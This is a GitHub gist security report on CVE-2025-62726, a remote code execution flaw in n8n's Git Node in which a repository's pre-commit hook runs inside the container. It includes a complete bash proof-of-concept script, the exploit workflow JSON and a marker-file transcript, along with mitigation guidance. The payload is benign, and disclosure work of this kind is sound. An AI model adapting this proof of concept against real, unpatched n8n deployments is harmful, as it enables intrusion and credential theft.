Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created October 31, 2025 13:40
Show Gist options
  • Select an option

  • Save N3mes1s/f0894cf6a3e5867911afc1477dda5a0e to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/f0894cf6a3e5867911afc1477dda5a0e to your computer and use it in GitHub Desktop.
Security Report: n8n Git Node Pre-Commit Hook Remote Code Execution (CVE-2025-62726)

Security Report: n8n Git Node Pre-Commit Hook Remote Code Execution (CVE-2025-62726)

Executive Summary

n8n releases prior to 1.113.0 contain a remote code execution vulnerability in the Git Node. When the node clones a repository and performs a commit, any pre-commit hook present in the repository executes inside the n8n application container. An attacker who can convince an operator to interact with a malicious repository—either manually or via an automated workflow—can execute arbitrary shell commands in the context of the n8n service account (uid=1000(node)). This report is self-contained and documents the full reproduction procedure, evidence, and remediation guidance.

Vulnerability Overview

  • Identifier: CVE-2025-62726
  • CWE: CWE-94 – Improper Control of Generation of Code (‘Code Injection’)
  • Affected Component: Git Node (clone and commit operations)
  • Affected Versions: n8n < 1.113.0 (validated against Docker image n8nio/n8n:1.112.0)
  • Patched Version: n8n >= 1.113.0 (introduces mitigations such as N8N_GIT_NODE_DISABLE_BARE_REPOS)
  • Impact: Arbitrary command execution in the n8n container with the ability to access workflow secrets, manipulate downstream integrations, pivot through connected credentials, or exfiltrate environment data.
  • Attack Preconditions: The attacker supplies or controls the Git repository cloned by the Git Node. No authentication to n8n is required if an existing workflow automatically processes the attacker’s repository.

An attacker can embed a shell payload in hooks/pre-commit. During the commit phase, n8n invokes git on the cloned repository, which honours the hook and executes the attacker’s code.

Reproduction Environment

  • Host: macOS with Lima-managed VM pruva-repro-20251031-122911-793c849b
  • Container: n8nio/n8n:1.112.0
  • Network exposure: n8n bound to http://localhost:5678
  • Authentication: Owner account created through n8n setup UI ([email protected] / SecurePass123)

The reproduction is idempotent: prior to each run we remove the existing marker file and cloned repository within the container (/tmp/n8n_git_hook_marker, /tmp/git-exploit) before triggering the workflow.

Reproduction Script

The following Bash helper constructs the malicious repository, imports the workflow, and triggers the exploit automatically. It is the exact script used in the demonstrations below.

#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
export PATH="$HOME/.local/bin:$PATH"

if ! command -v uv >/dev/null 2>&1; then
  python3 -m pip install --user uv >/dev/null
fi

mkdir -p "$ROOT/logs"

TMP_BASE="${TMPDIR:-$(mktemp -d)}"
WORKDIR="$TMP_BASE/n8n-git-hook"
SRC_REPO="$WORKDIR/exploit-src"
BARE_REPO="$WORKDIR/exploit.git"
WORKFLOW_JSON="$WORKDIR/workflow-exploit.json"

rm -rf "$WORKDIR"
mkdir -p "$SRC_REPO/hooks"

cat <<'HOOK' > "$SRC_REPO/hooks/pre-commit"
#!/bin/sh
echo "HOOK_EXECUTED_BY_N8N" > /tmp/n8n_git_hook_marker || true
id >> /tmp/n8n_git_hook_marker 2>&1 || true
HOOK
chmod +x "$SRC_REPO/hooks/pre-commit"

echo "[*] Initialising exploit source repository at $SRC_REPO"
(
  cd "$SRC_REPO"
  git init >/dev/null
  git config user.name Exploit
  git config user.email [email protected]
  git config core.hooksPath hooks
  echo "seed" > README.md
  git add README.md hooks/pre-commit
  git commit -m "seed repo with malicious hook" >/dev/null
)

echo "[*] Creating bare repository with persisted hook at $BARE_REPO"
git clone --bare "$SRC_REPO" "$BARE_REPO" >/dev/null
cp "$SRC_REPO/hooks/pre-commit" "$BARE_REPO/hooks/pre-commit"
chmod +x "$BARE_REPO/hooks/pre-commit"

echo "[*] Restarting vulnerable n8n container"
sudo docker rm -f n8n-vuln >/dev/null 2>&1 || true
sudo docker run -d --name n8n-vuln -p 5678:5678 -e N8N_PORT=5678 \
  -v "$BARE_REPO:/opt/exploit_repos/exploit.git:ro" \
  n8nio/n8n:1.112.0 >/dev/null

sleep 5

cat <<'JSON' > "$WORKFLOW_JSON"
{
  "name": "Git Hook Exploit",
  "nodes": [
    {
      "parameters": {},
      "id": "1",
      "name": "Start",
      "type": "n8n-nodes-base.start",
      "typeVersion": 1,
      "position": [260, 300]
    },
    {
      "parameters": {
        "operation": "clone",
        "repositoryPath": "/tmp/git-exploit",
        "sourceRepository": "file:///opt/exploit_repos/exploit.git"
      },
      "id": "2",
      "name": "Git Clone",
      "type": "n8n-nodes-base.git",
      "typeVersion": 1,
      "position": [520, 300]
    },
    {
      "parameters": {
        "command": "sh -c 'cd /tmp/git-exploit && git config user.email [email protected] && git config user.name Exploit && git config core.hooksPath /opt/exploit_repos/exploit.git/hooks && echo exploited > pwn.txt'"
      },
      "id": "3",
      "name": "Prepare Repo",
      "type": "n8n-nodes-base.executeCommand",
      "typeVersion": 1,
      "position": [780, 300]
    },
    {
      "parameters": {
        "operation": "add",
        "repositoryPath": "/tmp/git-exploit",
        "pathsToAdd": "pwn.txt"
      },
      "id": "4",
      "name": "Git Add",
      "type": "n8n-nodes-base.git",
      "typeVersion": 1,
      "position": [1040, 300]
    },
    {
      "parameters": {
        "operation": "commit",
        "repositoryPath": "/tmp/git-exploit",
        "message": "trigger pre-commit"
      },
      "id": "5",
      "name": "Git Commit",
      "type": "n8n-nodes-base.git",
      "typeVersion": 1,
      "position": [1300, 300]
    }
  ],
  "connections": {
    "Start": {
      "main": [ [ { "node": "Git Clone", "type": "main", "index": 0 } ] ]
    },
    "Git Clone": {
      "main": [ [ { "node": "Prepare Repo", "type": "main", "index": 0 } ] ]
    },
    "Prepare Repo": {
      "main": [ [ { "node": "Git Add", "type": "main", "index": 0 } ] ]
    },
    "Git Add": {
      "main": [ [ { "node": "Git Commit", "type": "main", "index": 0 } ] ]
    }
  },
  "active": false,
  "settings": {},
  "staticData": null
}
JSON

sudo docker cp "$WORKFLOW_JSON" n8n-vuln:/tmp/workflow-exploit.json
sudo docker exec n8n-vuln n8n import:workflow --input=/tmp/workflow-exploit.json >/dev/null

WORKFLOW_ID=$(sudo docker exec n8n-vuln n8n list:workflow | awk -F'|' '/Git Hook Exploit/{id=$1} END{print id}')
if [[ -z "$WORKFLOW_ID" ]]; then
  echo "[-] Failed to determine workflow id" >&2
  exit 1
fi

echo "[*] Running workflow $WORKFLOW_ID to trigger malicious hook"
sudo docker exec n8n-vuln rm -rf /tmp/git-exploit /tmp/n8n_git_hook_marker
sudo docker exec n8n-vuln n8n execute --id="$WORKFLOW_ID" | tee "$ROOT/logs/n8n-execute.log"

sudo docker cp n8n-vuln:/tmp/n8n_git_hook_marker "$ROOT/logs/hook-marker.txt"

echo "[*] Hook output captured at $ROOT/logs/hook-marker.txt"

sudo docker rm -f n8n-vuln >/dev/null

echo "[+] Reproduction complete"

Workflow Definition

The workflow imported by the script and used in the UI demonstration is shown in full below.

{
  "name": "Git Hook Exploit",
  "nodes": [
    {
      "parameters": {},
      "id": "1",
      "name": "Start",
      "type": "n8n-nodes-base.start",
      "typeVersion": 1,
      "position": [260, 300]
    },
    {
      "parameters": {
        "operation": "clone",
        "repositoryPath": "/tmp/git-exploit",
        "sourceRepository": "file:///opt/exploit_repos/exploit.git"
      },
      "id": "2",
      "name": "Git Clone",
      "type": "n8n-nodes-base.git",
      "typeVersion": 1,
      "position": [520, 300]
    },
    {
      "parameters": {
        "command": "sh -c 'cd /tmp/git-exploit && git config user.email [email protected] && git config user.name Exploit && git config core.hooksPath /opt/exploit_repos/exploit.git/hooks && echo exploited > pwn.txt'"
      },
      "id": "3",
      "name": "Prepare Repo",
      "type": "n8n-nodes-base.executeCommand",
      "typeVersion": 1,
      "position": [780, 300]
    },
    {
      "parameters": {
        "operation": "add",
        "repositoryPath": "/tmp/git-exploit",
        "pathsToAdd": "pwn.txt"
      },
      "id": "4",
      "name": "Git Add",
      "type": "n8n-nodes-base.git",
      "typeVersion": 1,
      "position": [1040, 300]
    },
    {
      "parameters": {
        "operation": "commit",
        "repositoryPath": "/tmp/git-exploit",
        "message": "trigger pre-commit"
      },
      "id": "5",
      "name": "Git Commit",
      "type": "n8n-nodes-base.git",
      "typeVersion": 1,
      "position": [1300, 300]
    }
  ],
  "connections": {
    "Start": {
      "main": [[{ "node": "Git Clone", "type": "main", "index": 0 }]]
    },
    "Git Clone": {
      "main": [[{ "node": "Prepare Repo", "type": "main", "index": 0 }]]
    },
    "Prepare Repo": {
      "main": [[{ "node": "Git Add", "type": "main", "index": 0 }]]
    },
    "Git Add": {
      "main": [[{ "node": "Git Commit", "type": "main", "index": 0 }]]
    }
  },
  "active": false,
  "settings": {},
  "staticData": null
}

Command Transcript

Below are the key commands executed during the most recent reproduction cycle, showing that the exploit hook executed and produced the marker file.

  1. Automated exploitation run:
$ TMPDIR=$(mktemp -d) bash reproduction_steps.sh
[*] Initialising exploit source repository at /tmp/tmp.2JdarDfRKZ/n8n-git-hook/exploit-src
[*] Creating bare repository with persisted hook at /tmp/tmp.2JdarDfRKZ/n8n-git-hook/exploit.git
[*] Restarting vulnerable n8n container
[*] Running workflow RmzmodgLXdudKt8H to trigger malicious hook
...
[+] Reproduction complete
  1. Workflow enumeration (inside the container):
$ sudo docker exec n8n-vuln n8n list:workflow
RmzmodgLXdudKt8H|Git Hook Exploit
  1. Marker produced by the malicious pre-commit hook after the UI-triggered run:
$ sudo docker exec n8n-vuln cat /tmp/n8n_git_hook_marker
HOOK_EXECUTED_BY_N8N
uid=1000(node) gid=1000(node) groups=1000(node),1000(node)

The id output confirms arbitrary shell execution within the n8n container as the node user.

Root Cause Analysis

  • n8n relies on simple-git to implement Git Node operations. When the node performs a commit, simple-git executes repository hooks without restriction.
  • The Git Node allows cloning arbitrary repositories (file://, https://, etc.) and does not sanitise or disable hook execution. The workflow above explicitly points to a bare repository whose hooks/pre-commit runs /bin/sh commands.
  • Because the workflow runs inside the n8n service account, any pre-commit hook has the same privileges as the n8n process. This violates the expectation that Git Node operations manipulate content only and introduces CWE-94 (arbitrary code execution via untrusted input).

Impact Analysis

With the ability to run arbitrary shell commands in the container, an attacker can:

  • Read and exfiltrate credentials stored in n8n (environment variables, credential files, workflow definitions, API tokens).
  • Pivot to connected services (databases, cloud providers, third-party APIs) using secrets available to the workflow.
  • Modify or implant persistent hooks, scheduled workflows, or other automation to maintain access.
  • Access the local filesystem, inspect other workflows, or escalate further if the host/container permits.

Even though the exploit runs as the non-root node user, n8n’s access to credentials and integrations makes this a high-severity issue.

Mitigation Guidance

  1. Upgrade to n8n 1.113.0 or later, which introduces safeguards such as N8N_GIT_NODE_DISABLE_BARE_REPOS.
  2. Disable hook execution explicitly by configuring the Git Node environment:
    • Set N8N_GIT_NODE_DISABLE_BARE_REPOS=true.
    • Set N8N_BLOCK_ENV_ACCESS_IN_NODE=true to prevent workflow code nodes from reading environment variables.
  3. Validate repository provenance before allowing Git Node operations on untrusted sources. Treat all user-supplied repositories as potentially malicious.
  4. Monitor for indicators of compromise, such as unexpected files under /tmp/n8n_git_hook_marker or unexplained git hooks in automation workflows.

Appendix

  • Container image used: n8nio/n8n:1.112.0
  • Exploit marker path: /tmp/n8n_git_hook_marker
  • Exploit hook contents:
    #!/bin/sh
    echo "HOOK_EXECUTED_BY_N8N" > /tmp/n8n_git_hook_marker || true
    id >> /tmp/n8n_git_hook_marker 2>&1 || true
  • Workflow ID (latest run): RmzmodgLXdudKt8H

This report is self-contained; the included scripts, workflow definition, and command transcripts provide everything required to reproduce and validate CVE-2025-62726 without additional context.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment